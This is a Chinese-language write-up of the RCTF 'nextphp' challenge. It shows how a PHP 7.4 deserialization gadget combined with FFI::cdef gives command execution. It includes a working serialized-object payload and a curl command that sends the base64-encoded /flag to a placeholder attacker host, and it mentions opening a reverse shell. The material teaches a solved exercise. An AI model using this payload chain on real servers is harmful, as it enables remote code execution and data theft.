RCTF-nextphp

nextphp

首先看一下phpinfo,php7.4

发现过滤了很多函数

1558661127384

搜一下php7.4的新特性,发现有个新功能预加载,而且在phpinfo里也发现了

1558661277840

读一下preload.php 的源码,/?a=show_source(%27preload.php%27);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

实现了一个自定义的序列化,反序列化的时候会调用unserialize函数,这里的unserialize函数功能是改变$data数组元素的值,然后实现可变函数的效果

看一下preload这个新功能,https://wiki.php.net/rfc/preload

1558662169382

发现可以预加载FFI https://www.php.net/manual/en/ffi.examples-basic.php

而且有一个小特性,在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数

所以这道题的利用思路就是,预加载FFI::cdef,然后调用exec,在反序列化的时候任意命令执行,反弹shell即可

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int php_exec(int type, char *cmd);"
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __construct () {
}
}

$a = new A;
echo serialize($a);

payload?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('curl ip:port/cat /flag | base64'));

1558664449535

0%